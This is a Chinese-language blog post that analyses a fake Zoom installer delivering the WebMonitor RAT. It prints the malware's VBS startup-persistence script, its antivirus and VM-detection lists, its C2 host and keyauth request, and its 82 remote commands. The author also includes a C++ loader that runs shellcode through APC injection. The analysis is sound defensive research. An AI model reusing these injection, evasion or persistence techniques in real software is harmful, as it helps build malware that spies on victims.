lracker's Studio

WebMonitor的分析

Word count: 3.4kReading time: 13 min
2020/11/03 Share

0x00 开始分析

样本名 Zoom Meetings Installer
MD5 c3973cd1e3ee7ab64b6ebeed5f9caf08
创建时间 1992-06-19 22:22:17(这一看就知道好假)
VT上第一次出现的时间 2020-04-20 21:35:05

简单使用DIE查看,可以发现是一个Delphi程序。

image-20201026153856943

0x01 分析恶意样本本体

  • 锁定关键函数。恶意代码均由线程(sub_0045437C )执行。这个怎么看出的呢,一个方法就是一个个看了,因为该木马是使用数组来存放函数指针的,并且使用call eax来调用。

    image-20201028142652193

    然后在sub_4544CC中又创建了线程,该线程就是sub_0045437C。他将执行后面的恶意行为。

    image-20201028142731583

    第二个方法是:可以看到IDA可以将sub_0045437C识别为StartAddress。所以我们直接在Function Name里搜StartAddress就好了(这个方法很好使,因为通常恶意样本都会创建线程,如果一开始找主函数的时候没找到,可以直接找到该线程,然后通过快捷键x来寻找交叉引用就能追溯到主函数)。

    image-20201028143014865

  • 接着会检测当前进程路径是否包含samplemalwaresandbox(分析人员通常使用的字符串)。

    image-20201026190019909

  • 通过创建进程快照的方式来遍历进程。

    找出杀毒软件

    并且通过进程名来寻找进程,包括以下进程:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    aswidsagent.exe
    avgsvc.exe
    avgui.exe
    avastsvc.exe
    avastui.exe
    avp.exe
    bdagent.exe
    bdwtxag.exe
    dwengine.exe
    msmpeng.exe
    mpcmdrun.exe
    nissrv.exe
    procmon.exe
    procmon64.exe
    procexp.exe
    procexp64.exe
    ollydbg.exe
    windbg.exe
  • 两次通过ZwQueryInformationProcess进行反调试,检测ProcessDebugFlags、ProcessDebugObjectHandle。

    image-20201026194252656

  • 通过检测beingdebuged标志位来判断进程是否处于调试状态。

    image-20201026194504447

  • 加载资源

    image-20201027104520609

    image-20201027104543166

  • 对资源进行解密。使用了RC4进行解密

    • 初始化sbox

    • 解密,对于RC4来说,加密函数和解密函数都是一样的。但是这里作者稍稍弄错了,就是j并没有初始化。不过无伤大雅,也是可以使用的,只是不太符合传统RC4的标准。

      image-20201027115235181

      image-20201027120432916

    • 解密得到的内容如下:

      image-20201027145939915

      其中解密得到的脚本内容如下:

      1
      2
      sEt LyDYPTNvrAsucNC = crEateobjeCT("Wscript.sheLL")
      lyDypTNVrASUcNc.ruN """%ls""", 0, False
  • 比较当前路径是否为安装路径

  • 接下来将创建互斥体。该木马并没有直接调用CreateMutex函数,而是通过Hash值来找出CreateMutex的函数地址,再通过CallWindowProcW来调用窗口回调函数,窗口回调函数里就是CreateMutex的调用(以进程运行路径作为互斥体的名字)。

    image-20201027161618800

    image-20201027155219881

  • 接下来要通过APC注入来注入notepad.exe。

    • 通过CreateProcessW()创建notepad.exe进程

      image-20201027164309854

    • 通过VirtualAllocEx为ShellCode申请空间

      image-20201027165027822

    • 通过WriteProcessMemory()将ShellCode写进去

      image-20201027165109833

    • 通过QueueUserAPC()对APC队列进行插入函数指针,达到注入的目的(注入的ShellCode如数据矿口所示)。

      image-20201027170029939

  • 注入成功则退出当前进程,而ShellCode继续执行恶意代码了。

    image-20201027170351849

0x01 分析ShellCode

接下来需要分析一下ShellCode了。由于本次注入是通过APC注入进行注入的,这不仅包括了函数,还有函数要用到的数据,所以跟以往我们写的Loader不太一样,这里我将采用同样的APC注入来实现该ShellCode的Loader。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#include <iostream>
#include <Windows.h>

const char* pFileName1 = "D:\\ShellCode.txt";
const char* pFileName2 = "D:\\ShellCodeData.txt";
VOID MyReadFile(const char* pFileName, LPVOID pContent, int nReadSize, int* pRet);
int main()
{
int nRetSize = 0;
int nReadSize = 0;
MyReadFile(pFileName1, NULL, 0, &nRetSize);
nReadSize = nRetSize;
LPVOID pFunContent = VirtualAlloc(NULL, nRetSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
MyReadFile(pFileName1, pFunContent, nReadSize, &nRetSize);
if (nReadSize != nRetSize)
{
printf("ReadError");
return 0;
}
MyReadFile(pFileName2, NULL, 0, &nRetSize);
nReadSize = nRetSize;
LPVOID pDataContent = VirtualAlloc(NULL, nRetSize, MEM_COMMIT, PAGE_READWRITE);
MyReadFile(pFileName2, pDataContent, nReadSize, &nRetSize);
if (nReadSize != nRetSize)
{
printf("ReadError");
return 0;
}
// 创建一个线程来实现APC队列注入
HANDLE hThread = CreateThread(NULL, 0, NULL, NULL, 0, 0);
PAPCFUNC pFunc = (PAPCFUNC)((DWORD)pFunContent + 0x5C0); // 根据实际情况的偏移
QueueUserAPC((PAPCFUNC)pFunc, hThread, (ULONG_PTR)pDataContent);
Sleep(100000); // 使得当前线程睡眠
return 0;
}

VOID MyReadFile(const char* pFileName, LPVOID pContent, int nReadSize, int* pRet)
{
FILE* pFile = NULL;
fopen_s(&pFile, pFileName, "rb+");
if (pFile == NULL)
{
printf("Read File Error!\n");
fclose(pFile);
return;
}
fseek(pFile, 0, SEEK_END);
int nSize = ftell(pFile);
if (pContent == NULL)
{
*pRet = nSize;
fclose(pFile);
return;
}
fseek(pFile, 0, SEEK_SET);
*pRet = fread_s(pContent, nReadSize, 1, nReadSize, pFile);
if (*pRet == 0)
{
printf("Read Error!\n");
fclose(pFile);
return;
}
fclose(pFile);
return;
}

接下来我们进入OD来调试该ShellCode吧!

  • 首先通过Hash值来获取API地址(就是通过HASH算法来对INT里的函数名称进行hash,和传入的Hash进行比较,如果相同的话,再根据下标找到该函数的地址)。

    image-20201028115141418

  • 打开刚才母体创建的互斥体

    image-20201028141046770

  • 拷贝母体到安装目录(该目录路径刚才上面已经获得的了)

  • 设置安装文件属性为ZoneIdentifier

    image-20201028145613456

  • 打开在安装目录下的病毒本体

    image-20201028144134874

  • 拼接得到以下VBS脚本,并且写入到启动目录下,实现开机启动病毒。

    1
    2
    sEt LyDYPTNvrAsucNC = crEateobjeCT("Wscript.sheLL")
    lyDypTNVrASUcNc.ruN """C:\Users\<username>\AppData\Roaming\Downloads\Zoom.exe""", 0, False

    image-20201028144919411

  • 到此,ShellCode已经分析完毕了,其主要就是将病毒本体复制到安装目录下,然后再次启动病毒本体,并且通过vbs脚本来实现持续化。

0x03 继续分析恶意样本本体

刚才在第一章我们也分析到了,样本会检测当前进程运行路径是否为安装路径,如果不是的话,则会进行上面的一些反调试,注入等操作来实现安装和持续化。那么接下来,我们来分析,如果是的话,会怎么样。

  • 在%Temp%目录下创建ULrS.tmp文件,并且写入一个0。

    image-20201028162916985

    image-20201028163119957

  • 在%Temp%目录下创建ZoomInstaller,并且释放资源到该文件。

    image-20201028163259813

    可以看到,释放出来的文件,实际上就是Zoom的安装文件。

    安装文件

    并且使用ShellExecuteW来执行它,通过执行真正的Zoom安装包,来迷惑用户的双眼,大大增加该木马的隐匿性。

    image-20201028163632134

  • 接着加载多段资源,并且合并在一起。

    image-20201028151453326

  • 使用RC算法对刚才加载的资源进行解密,可以看到,解密后实际上是一个PE文件。

    image-20201028152440655

  • 通过进程镂空,执行后面要的RAT。

    进程镂空

  • Zoom.exe的分析就到这儿了,它的任务已经完成了,接下来就是分析真正要执行的RAT了。

0x04 分析RAT

可以看到,该RAT是一个经过UPX壳压缩的RAT。

image-20201028172426632

去掉UPX壳后,根据Hash值,在VT上搜,可以看到,已经被人上传过了,该RAT是WebMonitor。

image-20201028172630510

以及我们在010Editor里可以搜索得到WebMonitor字符串。

image-20201028172707707

  • 枚举当前系统服务。

    image-20201029144505746

    并以XML格式输出。

    xml输出系统服务

  • 计算出fMain的MD5

    计算出MD5

  • 开始进行反调试!

  • 根据刚才获取得到的服务列表,判断是否存在VirtualBox Guest

    image-20201029152228239

    若存在则会弹出以下窗口。

    image-20201029151948383

    该RAT还会检查以下虚拟机服务,这里将使用表格来列举出来:

    VirtualBox Guest
    VMware Tools
    QEMU-GA
  • 检测是否从Rar压缩包中运行出来的。

    image-20201029161142640

  • 检测当前进程运行路径是否在临时目录下。

检测当前运行路径是否在临时目录下

  • 检测当前进程是否运行在远程桌面服务环境里。可以参考以下链接:

https://docs.microsoft.com/en-us/windows/win32/termserv/detecting-the-terminal-services-environment

  1. 通过GetSystemMetrics(0x1000)进行检测。

    image-20201029162637205

  2. 通过注册表来检测。

    image-20201029163020949

    MSDN上的解释:

    image-20201029163059455

    在上面MSDN的参考链接,我们可以看到MSDN上的示例代码,可以发现和该木马的代码高度一致。这里也可以看出来,该RAT的作者也是借鉴了许多网上的代码。

    用于对抗远程桌面服务的

  • 通过API执行效率进行反调试。可以参考forcepoint的链接:

    https://www.forcepoint.com/zh-hans/blog/x-labs/locky-returned-new-anti-vm-trick

    image-20201029163939971

    根据上面的链接,我们可以得知,在真实机器里,Windows执行GetProcessHeap和CloseHandle所需要的时间,比例应该为1:10.但是在VM下,这个比例可能会小很多,这是因为TIB/PEB都是软件虚拟化的,这会影响执行GetProcessHeap所需要的时间。

  • 通过等待时间来反调试(主要是反沙箱),很惊喜的是,这一段攻击,也是从网上弄下来的233.

    https://github.com/LordNoteworthy/al-khaser/blob/master/al-khaser/TimingAttacks/timing.cpp

    image-20201029170738476

  • 通过检测是否存在硬件断点来进行反调试。

    image-20201029171156169

  • 检测机器存储空间是否小于512MB来判断是否运行在虚拟机里,因为通常真实的机器的存储空间都会比512MB大。

    image-20201030104509427

  • 通过时间差进行反调试。由于现在很多沙箱都会对sleep函数进行修改,因此使用Sleep(0x3E8),看看是否睡眠了1s来判断是否处于沙箱中。

    image-20201030104955663

  • 使用cpuid指令进行反调试。

    1. EAX = 1,使用cpuid指令,获取CPU功能信息,如果ecx的第31位为1,则表明有hypervisor存在,否则是在真实机器里。

    image-20201030111053108

    1. EAX = 0x40000000,使用cpuid指令,获取hypervisor信息,返回12字节长度的字符串,与以下环境的字符串进行比较,看看是否相等,如果相等,则说明了处在虚拟环境中。

      1
      2
      3
      4
      5
      6
      "KVMKVMKVM\0\0\0"	/* KVM */
      "Microsoft Hv" /* Microsoft Hyper-V or Windows Virtual PC */
      "VMwareVMware" /* VMware */
      "XenVMMXenVMM" /* Xen */
      "prl hyperv " /* Parallels */
      "VBoxVBoxVBox" /* VirtualBox */

    image-20201030113400716

  • 检查启用了哪些电源状态,由于大多数虚拟环境都不支持S1-S4电源状态,所以这里就可以进行检查来实现反调试。

    image-20201030113925338

  • 通过WMI查询来获取视频控制器的名称来实现反调试。

    image-20201030143509341

  • 利用VirtualAlloc的MEM_WRITE_WATCH特性来进行反调试。

    1. 分配一个缓冲区,写入一次,获得计数,看看它是不是>1。

      image-20201030145229966

    2. 分配一个缓冲区,把它传递到一个不会触及到这个缓冲区的API(譬如,调用无效的参数),看看计数是否>0。

      image-20201030151914985

      1. 分配一个缓冲区,用它来存储一些API调用的结果(该样本存放的就是IsDebuggerPresent的结果),然后看看内存是否恰好被命中一次。

      image-20201030152334392

    3. 分配一个可执行缓冲区,复制一个调试检查历程给它,运行检查,看看在此之后是否有任何写操作执行。

      image-20201030152406257

  • 对Windows版本进行判断来反调试。

    image-20201030153046648

    • 检查自身是否处于调试状态来反调试。

    image-20201030155215843

  • 通过引发CC中断来实现反调试。因为如果没有调试器的话,程序会将异常传到异常处理程序,从而执行我们的代码。但是如果有调试器的话,则会中断下来并且将控制权交给用户。

    image-20201030155901778

  • 通过检查Kernel32.dll检查是否有导出函数wine_get_unix_file_name来检查是否在wine环境。

    image-20201030160115943

  • 使用GetAdaptersInfo来获取到当前计算机的MAC地址并且和传入的MAC地址进行前3个字节的比较。

    1. 而在本程序中,传入的值为00 16 3E 00 88 02。根据万能的互联网,我们可以得知,xen虚拟机的mac地址前3个字节为00 16 3E。所以这里实际上是对抗xen虚拟机。

      image-20201030161642400

    2. 在下一个反调试里也是同样查询mac地址,只不过传入的数据是00 1C 42 00 88 02,根据搜索,我们可以得知00 1C 42是Parallells虚拟机常mac地址的前三个字节。

  • 如果以下条件满足了,也会进入退出环节。

    image-20201102163038712

    如果上面的哪一条触碰了调试规则,那么接下来将生成批处理文件做自我清理。

    image-20201102105154643

    并且退出进程。

    image-20201102105217365

    到这里,反调试就已经结束了,可以看到,反调试手段有很多,不过作者都是基于开源项目的,改动不大,因此读者可以根据github上该项目的代码进行分析(比看f5舒服多了)。

    https://github.com/LordNoteworthy/al-khaser

  • 接下来,解密得到可疑字符串。

    image-20201102171136627

    1
    dabmaster.wm01.to、443、/recv7.php、ifxBmG0Z7、MLYbBTdwjFBO8Im4DRPhuCBToxnmBxYZ、00、sdns.se,1.2.4.8,114.114.114.114
  • 在函数sub_4974B7中,主要就是用于搜集信息。包括HWID、计算机名、用户名

    image-20201102175916895

  • 对上面获取到的DNS:sdns.se,进行IP查询。查询该DNS的真实IP,得到:185.61.148.26

    查询DNS的真实IP

  • 访问NTP服务器进行时间校准,访问0.se.pool.ntp.org,然后得到的结果如下:

    image-20201103113119768

  • 随机生成八位数。

    将这八位数和dabmaster拼接起来,得到26739569dabmaster

    image-20201103120108588

    并且对这串数据进行MD5,得到:c2e128776ed9a223e504abadf6ba91cf

    image-20201103141201146

    在上面得到的MD5后面追加一个.se。得到c2e128776ed9a223e504abadf6ba91cf.se.

    image-20201103141448532

    对DGA算法生成的随机域名进行指定DNS服务器查询。

    image-20201103142632168

    image-20201103142952538

  • 在函数sub_4CF534中以上面得到的字符串MLYbBTdwjFBO8Im4DRPhuCBToxnmBxYZ加上3.00为互斥体名字来创建互斥体。

    创建互斥体

  • 在函数sub_4A0855中拼接出keyauth。

    image-20201103103902032

    并且发送http请求。

    发送的数据为:

    1
    keyauth=RU00VjNHSWl6R0NyaGlHNHw4MTgyMDNkNmVmYjkzMmI4NzhlMmEyY2E5NjYyNjU2OHw0M3w2fDY=&key=MLYbBTdwjFBO8Im4DRPhuCBToxnmBxYZ&uid=84ea9dfcfdef6e5c56dd4b39a15f9c04&user=dabmaster&cmp=0&enc=0
![image-20201103110045580](http://image.lracker.com/blog/20201103110045.png)
  • 握手成功后,将会得到共享密钥:Handshake successful! Shared Key = 28f1a8dff7ccd9bcb5cc5914003e371b(hex)

  • 将搜集到的信息拼接成发送的数据,并发送到服务器。

    image-20201103145748740

  • 创建线程来接受黑客指令。

    image-20201103152226333

    搜集到的指令如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    APPLICATIONS_GET
    APPLICATIONS_UNINSTALL
    APP_CMD
    APP_INTERVAL_SET
    APP_MAX_FILE_SIZE
    APP_MAX_PACKET_SIZE
    AUDIO_DRIVERS
    AUDIO_SNAPSHOT
    AUDIO_STREAM_START
    AUDIO_STREAM_STOP
    CLIPBOARD_CLEAR
    CLIPBOARD_GET
    CLIPBOARD_SET
    CONNECTIONS_CLOSE
    CONNECTIONS_GET
    DEVICES_GET
    DEVICE_STATE
    DRIVES_GET
    DRIVE_OFFSETS_READ
    DRIVE_OPERATIONS_INFO
    DRIVE_SECTORS_WRITE
    FILES_GET
    FILE_COPY
    FILE_DELETE
    FILE_DOWNLOAD
    FILE_EXEC
    FILE_MOVE
    FILE_UPLOAD
    FILE_DOWNLOAD_EXEC
    HARDWARE_GET
    HARDWARE_GET_PROPERTY
    KEYLOG_DEL
    KEYLOG_GET
    KEYLOG_STREAM_START
    KEYLOG_STREAM_STOP
    NET_INTERFACES
    PDG
    PDG_EXEC
    PDG_REV_PROXY_START
    PDG_REV_PROXY_STOP
    SSL_SCREEN_START
    SSL_SCREEN_STOP
    PDG_SCREEN_STREAM_START
    PDG_SCREEN_STREAM_STOP
    PING
    PRC_GET
    PRC_PRIORITY
    PRC_RESUME
    PRC_SUSPEND
    PRC_TERMINATE
    REG_ADD_KEY
    REG_ADD_VALUE
    REG_DELETE_KEY
    REG_DELETE_VALUE
    REG_EDIT_VALUE
    REG_GET_KEYS
    REG_GET_VALUES
    REG_RENAME_VALUE
    SCREEN_MONITORS
    SCREEN_SNAPSHOT
    SCREEN_STREAM_START
    SCREEN_STREAM_STOP
    SERVICES_GET
    SERVICES_PAUSE
    SERVICES_RESUME
    SERVICES_START
    SERVICES_STOP
    SERVICES_UNINSTALL
    SHELL_EXEC
    SHELL_START
    SHELL_STOP
    SYS_INFO
    THUMBNAIL_GET
    WEBCAM_DRIVERS
    WEBCAM_SNAPSHOT
    WIFIAP_START
    WIFIAP_STOP
    WEBCAM_STREAM_START
    WEBCAM_STREAM_STOP
    WND_CMD
    WND_GET
    WND_PATCH

    一共82个指令!指令繁多,这里就不细分析了!

0x05 总结

到这里,该样本就基本分析结束了,该木马十分繁琐,在字符串的搜索中,我们还可以留意到这么一串内容。

image-20201103154716489

经过搜索,我们可以得知,该样本在图像处理上还使用了开源项目:

image-20201103155038271

在分析的过程中,我还发现,该样本的反调试功能都是基于开源项目:al-khaser的。因此可以对着源码进行分析。
image-20201103160041647

0x06 参考链接

https://github.com/LordNoteworthy/al-khaser

https://github.com/ImageMagick/jpeg-turbo

https://consen.github.io/2016/09/11/Anti-VM-via-CPUID/

https://mp.weixin.qq.com/s/EiZ0CRZ5LAlhsPDtJOz8Ug

CATALOG
  1. 1. 0x00 开始分析
  2. 2. 0x01 分析恶意样本本体
  3. 3. 0x01 分析ShellCode
  4. 4. 0x03 继续分析恶意样本本体
  5. 5. 0x04 分析RAT
  6. 6. 0x05 总结
  7. 7. 0x06 参考链接